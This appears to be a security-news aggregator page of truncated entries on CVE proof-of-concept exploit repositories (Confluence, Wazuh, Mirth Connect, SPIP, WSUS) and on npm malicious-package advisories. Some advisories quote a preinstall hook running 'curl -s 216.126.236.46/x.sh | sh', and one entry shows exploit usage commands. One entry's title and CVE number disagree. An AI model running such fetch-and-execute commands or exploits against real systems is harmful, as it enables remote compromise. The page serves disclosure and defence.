CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - RCE Pre-Auth di Confluence | iniezione OGNL Scarica lo script PoC root@kitploit: git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 Esegui l'exploit root@kitploit: UTILIZZO: python3 exploit.py https://target.com COMANDO Es: python3...

Chrome-V8-RCE-CVE-2021-38003

Chrome-V8-RCE-CVE-2021-38003 CVE-2021-38003 exploit estratti da https://twitter.com/WhichbufferArda/status/1609604183535284224...

log4j-log4shell-affected

log4j-log4shell-affected Elenchi dei componenti interessati e delle app/vendor interessate da CVE-2021-44228 noto anche come Log4shell o Log4j RCE per i team di risposta alla sicurezza. Riteniamo che sia importante classificare vendor e prodotti tra: 1. Rischio interno - cosa patchare per primo p...

CVE-2025-24016

Wazuh Remote Code Execution RCE - PoC Überblick über die Schwachstelle Dieses Repository demonstriert die Remote-Code-Execution-Schwachstelle RCE im Wazuh-Server, die durch eine unsichere Deserialisierung im Paket wazuh-manager eingeführt wird. Die Schwachstelle ermöglicht es entfernten Angreifer...

lab-cve-2025-57819

Lavori in corso FreePBX CVE-2025-57819 Lab - SQLi non autenticata → Catena RCE Nuclei POC Avvia un laboratorio FreePBX 15 riproducibile Docker per validare CVE-2025-57819 — una critica SQL injection non autenticata negli endpoint AJAX di userman che può essere concatenata per ottenere RCE. Includ...

CVE-2023-43208-PoC

Mirth Connect RCE Exploit CVE-2023-43208 Questo script è una Prova di Concetto PoC per la vulnerabilità di Esecuzione Remota di Codice RCE in Mirth Connect versioni precedenti alla 4.4.1. Sfrutta una vulnerabilità di deserializzazione di XStream tramite l'API. Requisiti Python 3.10 o superiore...

PoC-CVE-2025-55182

PoC: CVE-2026-33017 Una vulnerabilità di esecuzione remota di codice pre-autenticazione esiste nelle versioni 19.0.0, 19.1.0, 19.1.1 e 19.2.0 di React Server Components, inclusi i seguenti pacchetti: react-server-dom-parcel, react-server-dom-turbopack e react-server-dom-webpack. Il codice...

Malicious code in ux-metrics-client-interaction-subscriber (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6066e87b7b0822678d3514839bc7eba18d46ff1d034c12ea169f4c3513df132b package.json line 11 declares a dependency whose key equals the package's own name ux-metrics-client-interaction-subscriber and whose value is a bare...

Malicious code in bui-react-10themes (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0a333445d0f8345bc824161bcc7f6487a59ba9f1f7a852da2643eb7c27dd849b package.json declares a dependency whose key equals this package's own name bui-react-10themes and whose value is a bare HTTPS URL...

sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

Malicious code in jira-projects-backbone (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f75bb5293b51dc977d699982756ea69987397ce86f50d12753844198bf40294c package.json line 11 declares a dependency whose key equals the package's own name jira-projects-backbone with a value that is a bare HTTPS URL,...

CVE-2025-55182

CVE-2025-55182 Vulnerabilità di esecuzione remota di codice nei React Server Components CVE-2025-55182 e vulnerabilità di esecuzione remota di codice in Next.js CVE-2025-66478. Questa vulnerabilità interessa principalmente la funzionalità Server Actions di react-server-dom-webpack. A causa della...

CVE-2025-59287---WSUS-SCCM-RCE

CVE-2025-59287 - WSUS / SCCM RCE Basato sull'exploit originale all'indirizzo: https://gist.github.com/hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b Ora puoi specificare il file ysoserial.exe ed eseguire ciò che vuoi: https://hawktrace.com/blog/cve-2025-59287/...

Malicious code in amplitude-react-native (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 489592652dd724254e29c10536019e0e03e8032e781748a73fc357bb40f50a1d package.json declares a single dependency whose source is a bare HTTPS URL https://repo.securityctrl.com/amplitude-react-native rather than a registr...

Malicious code in one-intuit-help-system-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c22e9eaa97b1ee548e6ca6ac6257ea72fed0ee92d5b54255781e62b8ae19783 package.json declares a dependency whose key equals the package's own name one-intuit-help-system-utils and whose value is a bare HTTPS URL...

Malicious code in search-reservation (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 76642f0709b362fd800a9842b53bdb8f26413b9acf26562c4a5737c7bae3e856 package.json declares a dependency whose key equals the package's own name search-reservation and whose value is the bare URL...

CVE-2023-27372

Exploit CVE-2023-27372 Exploit per CVE-2023-27372 , una vulnerabilità di esecuzione remota di codice non autenticata nel CMS SPIP che interessa le versioni precedenti alla 4.2.1. ⚠️ Solo a scopo educativo. Utilizzare esclusivamente su sistemi di propria proprietà o per i quali si dispone di...

MAL-2026-15509 Malicious code in grafeno-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad The package's package.json preinstall lifecycle hook uses childprocess to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare I...

Malicious code in grafeno-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3 package.json declares a preinstall lifecycle script that runs node -e to invoke childprocess.execSync'curl -s 216.126.236.46/x.sh|sh',...

MAL-2026-15504 Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...